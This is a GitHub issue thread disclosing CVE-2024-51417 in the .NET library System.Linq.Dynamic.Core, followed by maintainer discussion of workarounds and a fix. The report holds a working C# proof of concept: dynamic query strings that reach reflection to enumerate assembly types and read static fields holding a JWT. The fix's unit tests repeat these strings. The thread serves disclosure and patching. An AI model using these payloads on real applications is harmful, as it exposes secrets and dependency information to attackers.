CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields

[mariusz96]

Summary

System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.

Details

Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.

Access to static properties/fields allows just as implied.

PoC

using System.Linq.Dynamic.Core;

var customers = new List<Customer>()
{
    new Customer()
    {
        Id = 1,
        Name = "Mariusz"
    }
};

var userSuppliedColumns1 = new[]
{
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName))
    """,
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName))
    """,

    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
    """,
    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns1)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

var userSuppliedColumns2 = new[]
{
    """
    AppSettings.SettingsProp["jwt"]
    """,
    """
    AppSettings.SettingsField["jwt"]
    """,

    """
    c => AppSettings.SettingsProp["jwt"]
    """,
    """
    c => AppSettings.SettingsField["jwt"]
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns2)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public static class AppSettings
{
    public static Dictionary<string, string> SettingsProp { get; } = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };

    public static Dictionary<string, string> SettingsField = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };
}

Impact

Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).

[kwaazaar]

Reported by nuget

[daesk]

Hi, @StefH anyone working on this? Any timeline.
We are using the latest version and all our github action and devops builds are failing now

[StefH]

We are investigating the issue.

Initial research shows that whitelisting the allowed types would be a solution to fix both issues, however this will impact the usability from this library.

No timeline is known yet.

[wbuck]

Just so I'm clear, there is no work around at this time?

[jojoman2]

Just so I'm clear, there is no work around at this time?

If the code is not building because you treat warnings as errors, you can add
<WarningsNotAsErrors>NU1903</WarningsNotAsErrors>
to your csproj file to temporarily not treat this warning as an error so your code will build again. Then you can remove that when it is patched.

[DJFoxHound]

We've added the following to our impacted project's csproj file:

	<ItemGroup>
	  <NuGetAuditSuppress Include="https://github.com/advisories/GHSA-4cv2-4hjh-77rx" />
	</ItemGroup>

It also passes trough our devops pipelines this way, so we are not completely blocked at the moment, off course this can't be a permanent solution

[StefH]

@mariusz96
Thanks for the detailed information in this issue.

Issue 1. Properties on reflection types

The same result can also be achieved by calling normal C# code:

var names = typeof(Customer)
  .GetType()
  .Assembly
  .DefinedTypes
  .SelectMany(t => t.CustomAttributes)
  .Select(a => a.AttributeType)
  .Select(t => t.AssemblyQualifiedName);

foreach (var name in names)
{
    Console.WriteLine(name);
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

Issue 2. Static properties/fields

Also in this case, accessing a static class (normal or via reflection) is also possible in normal C#.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core.
This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

[Tasteful]

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case?
Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

[mariusz96]

@mariusz96 Thanks for the detailed information in this issue.

@StefH
Thanks for changing your mind about fixing this!

The only way this will be an issue if you expose the functionality from System.Linq.Dynamic.Core via an unprotected external public API or interface.

I do believe that exposing dynamic filters/queries to the client is very much the intended use case of the library. However, using GetType() as an entry point to the reflection system or accessing static properties like on Environment class is not.

Possible solution

A possible way of solving this issue is that the user needs to whitelist all types which are allowed to use by System.Linq.Dynamic.Core. This will have impact on the usability, but this will mitigate this CVE because by default no types will be allowed.

If you mean to extend the existing mechanism of white-listing methods to additionally white-list all properties and fields then it makes sense and should fix the vulnerability.

Also, when IQueryable works with database it does not seem too much work for the end user to add some attributes/configuration on their table types so they can use them with the library. Might be harder for dependent nuget packages or end users with different use cases though.

[StefH]

Issue 1 I think only is possible because the PredefinedTypesHelper.IsPredefinedType contains the object, can that be the case? Should issue 2 be solved if the [DynamicLinqType] was checked as well for static members?

@Tasteful
This are indeed a good suggestions.

---

Issue 1. Properties on reflection types

When removing the object type from PredefinedTypes, this issue seems to be solved. So the provided POC code will now throw an exception when this change in PredefinedTypesHelper is applied.

Related unit-test code:

[Theory]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))")]
[InlineData("c => string.Join(\"_\", c.GetType().Assembly.FullName))")]
public void UsingSystemReflectionAssembly_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Methods on type 'Object' are not accessible");
}

Issue 2: Static properties/fields

This can be solved by only allowing classes which are annotated with [DynamicLinqType]. If the class is not annotated, an exception will be thrown.

Related unit-test code:

[Theory]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsProp[\"jwt\"]")]
[InlineData("c => System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings.SettingsField[\"jwt\"]")]
public void UsingStaticClass_ThrowsException(string selector)
{
    // Arrange
    var queryable = new[]
    {
        new Message("Alice", "Bob")
    }.AsQueryable();

    // Act
    Action action = () => queryable.Select(selector);

    // Assert
    action.Should().Throw<ParseException>().WithMessage("Type 'System.Linq.Dynamic.Core.Tests.Helpers.Models.AppSettings' not found");
}

@mariusz96
Would this solve this CVE ?

[Tasteful]

With the removal of object from the PredefinedTypes I guess it will also remove the .Equals(...) and .ToString(). Maybe it's better with an ability where it's possible to specify the MethodInfo (or MemberInfo if this should be expanded into properties/fields as well) that should be (dis)allowed, or in a combination that the PredefinedTypes will exclude object but have an explicit list of MethodInfo's that will be allowed. This is something that may be useful for classes that is decorated with DynamicLinqType where it may be only one of many method that should be exposed.